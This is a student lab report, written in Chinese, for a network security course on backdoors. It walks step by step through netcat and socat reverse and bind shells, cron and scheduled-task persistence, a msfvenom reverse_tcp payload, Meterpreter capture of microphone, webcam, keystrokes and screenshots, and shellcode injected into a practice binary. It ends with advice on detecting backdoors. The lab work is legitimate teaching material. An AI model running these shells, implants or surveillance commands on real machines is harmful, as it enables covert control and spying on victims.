Exp2:后门原理与实践
- 一.实验信息
- 二.实验内容
- 三.实验知识
- 四.实验过程(包含加分实验步骤)
- 五.实验中遇见的问题及解决办法
- 六.基础问题回答
- 七.实验体会
一.实验信息
- 课程名称:网络对抗技术
- 实验序号:2
- 实验名称:后门原理与实践
- 实验人:20201207徐艺铭
二.实验内容
2.1 实验内容(4分+2分附加题)
- 使用netcat获取主机操作Shell,cron启动 (1分)
- 使用socat获取主机操作Shell, 任务计划启动 (1分)
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(1分)
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (1分)
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(2分)加分内容一并写入本实验报告。
- 附件下载https://gitee.com/wildlinux/NetSec/attach_files
2.2 报告要求
-
报告整体观感
(1)报告格式范围,版面整洁 加1分。
(2) 报告排版混乱,加0分。 -
文字表述
(1)报告文字内容全面,表述清晰准确 加1分。
(2)报告表述不清或文字有明显抄袭可能 加0分。 -
截图要求:
(1) 所有操作截图主机名为本人姓名拼音。
(2) 所编辑的文件名包含自己的学号。
三.实验知识
3.1 nc/ncat/socat命令
参考链接:https://blog.csdn.net/freeking101/article/details/53289198
NC 全名 Netcat (网络刀),作者是 Hobbit && ChrisWysopal。因其功能十分强大,体积小巧而出名,被誉为网络安全界的 "瑞士军刀"。Netcat 使用 TCP 或 UDP 协议的网络连接去读写数据。Netcat 也是稳定的后门工具、功能强大的网络调试和探测工具。能够直接由其它程序和脚本轻松驱动。能够建立几乎所有类型的网络连接。
- nc :nc 常用于溢出、反向链接、上传文本等。其实是一个非标准的 telnet 客户端程序。也是一个 putty.exe 客户端程序。
- ncat :是现代版的 netcat,是 nmap 项目的组成部分。
- socat :socat 是一个 nc 的替代品,可以称为 nc++。是 netcat 的 N 倍 加强版。socat 支持的连接方式很多,有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等
3.2 关于后门
后门,本意是指一座建筑背面开设的门,通常比较隐蔽,为进出建筑的人提供方便和隐蔽。在信息安全领域,后门是指绕过安全控制而获取对程序或系统访问权的方法。后门的最主要目的就是方便以后再次秘密进入或者控制系统。
后门来源
- 攻击者利用欺骗的手段,通过发送电子邮件或者文件,并诱使主机的操作员打开或运行藏有木马程序的邮件或文件,这些木马程序就会在主机上创建一个后门。
- 攻击者攻陷一台主机,获得其控制权后,在主机上建立后门,比如安装木马程序,以便下一次入侵时使用。
- 还有一种后门是软件开发过程中引入的。在软件的开发阶段,程序员常会在软件内创建后门以方便测试或者修改程序中的缺陷,但在软件发布时,后门被有意或者无意忽视了,没有被删除,那么这个软件天生就存在后门,安装该软件的主机就不可避免的引入了后门。
四.实验过程(包含加分实验步骤)
4.1 使用netcat获取主机操作Shell,cron启动(反弹式连接)
- 主机使用
win+r
后输入cmd
打开终端 - 查看Kali的ip
ifconfig
查看主机ipipconfig
4.1.1 主机获取Kali的操作Shell
- 主机使用命令
nc -l -p 1207
监听自身1207端口 - Kali使用命令
nc [主机ip] 1207 -e /bin/sh
与主机的1207端口建立连接,并在连接成功后启动/bin/sh(其实就是把shell权限交给主机)
- 这时主机cmd中可以获得Kali的shell权限
4.1.2 Kali获取主机操作Shell
- Kali使用命令
nc -l -p 1207
监听自身1207端口 - 主机使用命令
nc -e cmd [主机ip] 1207
与Kali机的1207端口建立连接,并在连接成功后启动cmd(把主机操作Shell交给Kali)
4.1.3 主机使用cron获取Kali机shell
- Kali机中使用命令
crontab -e
,然后输入2
打开vim界面
- 在打开的界面插入
42 * * * */bin/netcat [主机ip] 1207 -e /bin/sh
(意思是每个小时的第42分钟对主机ip进行一次连接,并在连接成功后启动/bin/sh将终端权限交付,这个数字42可以根据自己的需要改)
- 主机只要在每小时的第42分使用命令
nc -l -p 1207
则可以连接Kali机获得shell响应
- 或者在
crontab -e
命令打开的界面里输入如下命令,主机可以在任何时刻使用命令nc [Kali ip] 1207
连接Kali机获得shell权限
4.2 使用socat获取主机操作Shell, 任务计划启动(非反弹式连接)
4.2.1 主机使用socat获取Kali机操作Shell
- Kali机使用命令
socat tcp-listen:1207 system:bash,pty,stderr
- 主机使用命令
.\socat.exe - tcp:[Kali ip]:1207
- 主机获取Kali机操作Shell
4.2.2 Kali机使用socat获取主机操作Shell
- 主机使用命令
.\socat.exe tcp-listen:1207 exec:cmd,pty,stderr
- Kali机使用命令
socat - tcp:[主机ip]:1207
- Kali机获取主机操作Shell
4.2.3 主机设置任务计划 Kali机获得主机操作Shell
- 在主机
win+r
后输入compmgmt.msc
- 打开界面后选择
任务计划程序-创建任务
-
设置
名称``触发器``操作
-
操作这里需要浏览定位到socat.exe,同时设置参数为
tcp-listen:1207 exec:cmd.exe,pty,stderr
- 任务设置成功后,在该天的20:22(刚刚自己设置的时间),socat.exe便会启动(添加的参数后相当于执行命令socat tcp-listen:1207 exec:cmd.exe,pty,stderr)
- 在Kali机中使用命令
socat - tcp:[主机ip]:1207
- 主机弹出如下界面
- 同时Kali获得主机的操作Shell
4.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- Kali机使用命令
msfvnom -p windows/meterpreter/reverse_tcp LHOST=[Kali ip] LPORT=1207 -f exe > 20201207_backdoor.exe
- 生成20201207_backdoor.exe(后门)
- 主机使用命令
.\ncat.exe -lv 1207 > 20201207_backdoor.exe
接收后门程序
- Kali机使用命令
nc [主机ip] 1207 < 20201207_backdoor.exe
将后门程序发给主机
- 主机中得到的程序如图
- Kali机中运行msfconsole
- 按照下面顺序输入
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [Kali ip]
set LPORT 1207
- 设置好后可以输入命令
show options
查看
- 输入exploit进行触发(这步后报错可能是端口占用的问题)
-
在主机中点击打开20201207_backdoor.exe(建议关闭杀毒软件)
-
在Kali中获得主机操作Shell
- 完成!!
4.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 在上一部分完成的操作后继续输入
record_mic
生成目标主机音频,可以用-d
设置时间参数(时间太短听不到东西,时间太长会报错,尝试过比较好的时间是13s)
-
输入
webcam_snap
获取主机摄像拍照权限 -
输入
run webcam
获取目标主机视频html文件
- 输入
keyscan_start
开始捕获击键记录 - 输入
keyscan_dump
输出主机击键记录
- 输入
screenshot
获取主机截屏
4.5 (加分项)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 先使用msfvenom --list payload查看各个主机版本适用的payload
- 选定payload,确定所需要参数,使用命令
msfvenom -p Linux/x86/shell_reverse_tcp --list-options
- 因为要注入实验一中的pwn1文件,所以我们选择生成C语言格式
- 输入命令
msfvenom -p Linux/x86/shell_reverse_tcp LHOST=[Kali ip] LPORT=1207 -f c
生成shellcode
- 生成了下图shellcode
- 依次输入如下内容配置参数
use exploit/multi/handler
set payload Linux/x86/shell_reverse_tcp
set LHOST [Kali ip]
set LPORT 1207
-
输入
exploit
监听 -
同时另外开启新的终端
-
按照实验一的方式找到我们需要的返回地址并添加在shellcode前面,生成一段新的input流(我这里返回地址为0xffffd4d0[图中0xffffd4cc+4],所以以\xd0\xd4\xff\xff的形式放在刚刚生成好的shellcode前拼接起来)
- 构造下图的input流(填充32字节+返回地址+shellcode)
- 使用命令
(cat input_shellcode;cat) | ./pwn1207
注入
- 回到刚刚运行msf的终端
- 成功获得shell
五.实验中遇见的问题及解决办法
5.1 主机虚拟机ping不通
问题描述:目标地址不可达等
解决方法:首先不要看网上各种教程无脑为kali设置静态ip,有可能是DNS的问题,如果发现VMware虚拟机网络被自己配置的乱七八糟,可以按下图顺序操作,回到最初状态摆脱所有烦恼。
然后配置kali网络,参考如下链接配置两个文件,然后重启网络服务或者重启虚拟机:https://www.iculture.cc/knowledge/pig=25878
5.2主机nc/ncat命令无法使用
问题描述:主机本身的nc/ncat无法使用,解压老师给出的ncat.rar
文件,将nc.exe
移至C:\Windows\System32
中报错如图
解决方法:自行去ncat官网下载https://eternallybored.org/misc/netcat/
六.基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
- 下载盗版软件,使用某种“破解版”软件
例举你知道的后门如何启动起来(win及linux)的方式?
-
win:可以将后门放到windows系统的启动项(每次系统重启都会运行),来获取长期权限;或者像实验中的设置任务计划;通过.exe文件投放进windows,进行免杀伪装后设置新的图标或者名字(win11激活工具之类的),诱导用户点入。
-
Linux:Strace获取登陆凭证;Alias获取登陆凭证;SSH软连接后门
参考链接https://www.4hou.com/index.php/shop/posts/17OG
Meterpreter有哪些给你映像深刻的功能?
- 只要调配参数,使用最简单的命令,meterpreter就会自主生成需要的各种后门程序,功能强大操作便捷;每次开启使用时变换的不同开机界面也相当有趣。
如何发现自己系统有没有被安装后门?
- 在cmd中用nestat -na查看到后面开放端口,当开的端口大于1024尤其是4000以上的时候,就要注意了。因为现在的许多木马是开的动态端口,当大端口被打开时就需要注意,像鸽子的默认端口就是8000。
- 另外可以输入net user去查看是不是有其他的用户。如果有的话输入net user+这个用户名,查看这个用户是属于什么权限的,一般除了Administrator是administrators组的,其他都不是,如果发现一个系统内置的用户是属于administrators组的,那几乎肯定被入侵了,而且别人在计算机上克隆了账户。(这里我自己跑去查了一下没有发现可疑用户)
七.实验体会
先说说出现的问题吧,本次实验在前期准备折磨了我很多天,包括两台主机网络ping不通或者老师给出的ncat.rar使用会报错等等问题,关于网络配置这里确实学到了很多,包括配置系统中network/interfaces文件等等,学会了通过系统文件去配置ip地址子网掩码或者DNS的方法,不能傻瓜式的跟着网上的博客教程随意配置静态ip,同时在使用msf工具的时候,我的终端一直会爆警告,虽然不影响正常使用,但是还未找到解决警告的有效方法,需要进一步研究。
给我留下最深印象的环节是msf生成的可执行程序注入到windows之后获取主机的摄像头,音频等权限,以此来完成监听监视拍照等环节,或者通过击键记录来获知聊天记录搜索记录等等,感觉作为被渗透的一方,整个人的信息和动态是完全透明受监视的,让人觉得定期检查系统漏洞,加强安全防御意识势在必行,往后不安装来路不明的破解版或非官方的网站,尽可能定期排查自己设备上的后门或者漏洞,将受到攻击的可能性尽可能降低。
像我们这样的初学者就可以通过实验制作后门,并有意识地将后门利用技术或者社会工程学加装到别人的设备中,获得本不该获得的root权限,甚至在未来学习免杀技术后加装自己的后门程序,可见现在网络攻击的门槛其实很低,需要不断强化自身意识,提高技术水平,知己知彼才能百战不殆!!